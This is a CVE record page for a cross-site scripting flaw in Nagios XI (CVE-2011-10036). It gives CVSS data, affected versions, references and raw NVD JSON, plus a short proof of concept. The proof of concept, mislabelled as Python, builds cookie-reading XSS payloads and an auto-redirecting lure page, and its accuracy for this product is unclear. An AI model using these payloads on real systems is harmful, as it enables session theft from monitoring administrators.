CVE-2011-10036

Description

Nagios XI versions prior to 2011R1.9 are vulnerable to cross-site scripting (XSS) via the handling of the "backend_url" JavaScript link. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:nagios_xi:2011:r1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:nagios_xi:2011:r1.1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:nagios_xi:2011:r1.2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:nagios_xi:2011:r1.3:*:*:*:*:*:* - VULNERABLE

Nagios XI < 2011R1.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2011-10036 PoC - Nagios XI XSS via backend_url
// Target: Nagios XI < 2011R1.9
// Attack Vector: Inject JavaScript via backend_url parameter

// Malicious URL construction
const maliciousUrl = 'http://target-nagios-xi/nagiosxi/backend/';
const payload = 'backend_url=javascript:alert(document.cookie)';

// Alternative payload with img tag
const imgPayload = 'backend_url=<img src=x onerror=alert(document.domain)>';

// Full PoC URL
const pocUrl = `${maliciousUrl}?${payload}`;

console.log('CVE-2011-10036 PoC URL:');
console.log(pocUrl);

// HTML PoC page
const htmlPoC = `
<!DOCTYPE html>
<html>
<head><title>CVE-2011-10036 PoC</title></head>
<body>
<h1>Nagios XI XSS via backend_url</h1>
<p>Click the link below to trigger XSS:</p>
<a href="${pocUrl}">Malicious Link</a>
<script>
// Auto-submit or redirect to trigger the vulnerability
if (location.hash === '#auto') {
    window.location.href = '${pocUrl}';
}
</script>
</body>
</html>
`;

console.log('\nHTML PoC:');
console.log(htmlPoC);

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2011-10036
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2011-10036
[3] CVE Details https://www.cvedetails.com/cve/CVE-2011-10036/
[4] VulDB https://vuldb.com/cve/CVE-2011-10036
[5] https://www.nagios.com/changelog/nagios-xi/
[6] https://www.vulncheck.com/advisories/nagios-xi-xss-via-backend-url-javascript-link-handler

Raw JSON Data

JSON

{"cve": {"id": "CVE-2011-10036", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:35.223", "lastModified": "2025-11-06T14:32:23.067", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 2011R1.9 are vulnerable to cross-site scripting (XSS) via the handling of the \"backend_url\" JavaScript link. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndIncluding": "2009", "matchCriteriaId": "F5A0F705-A92D-4A44-820E-AA95C185FD0A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1:*:*:*:*:*:*", "matchCriteriaId": "B2FB1221-7B2A-4C1F-877B-87A85C5F67F3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.1:*:*:*:*:*:*", "matchCriteriaId": "B8A58F77-B01F-43E5-8AB8-9BBC7AFB8EA6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.2:*:*:*:*:*:*", "matchCriteriaId": "930BA0E1-526F-444D-B55C-0F3986B28204"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.3:*:*:*:*:*:*", "matchCriteriaId": "12F74EFA-B2E0-4DC6-8ECE-8CBD474B5F30"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.4:*:*:*:*:*:*", "matchCriteriaId": "21AB904E-BE1B-420E-AA2E-BC45DF8BC745"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.5:*:*:*:*:*:*", "matchCriteriaId": "4664377B-70C1-403A-9A61-F1CECCBC5CEF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.6:*:*:*:*:*:*", "matchCriteriaId": "29011240-37E3-499A-AAF1-7B0F722F16A3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.7:*:*:*:*:*:*", "matchCriteriaId": "E0E3B832-C219-475D-A433-6914973DCA3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.8:*:*:*:*:*:*", "matchCriteriaId": "5B5DD634-765B-44D0-A1D1-27DC326A3477"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-xss-via-backend-url-javascript-link-handler", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}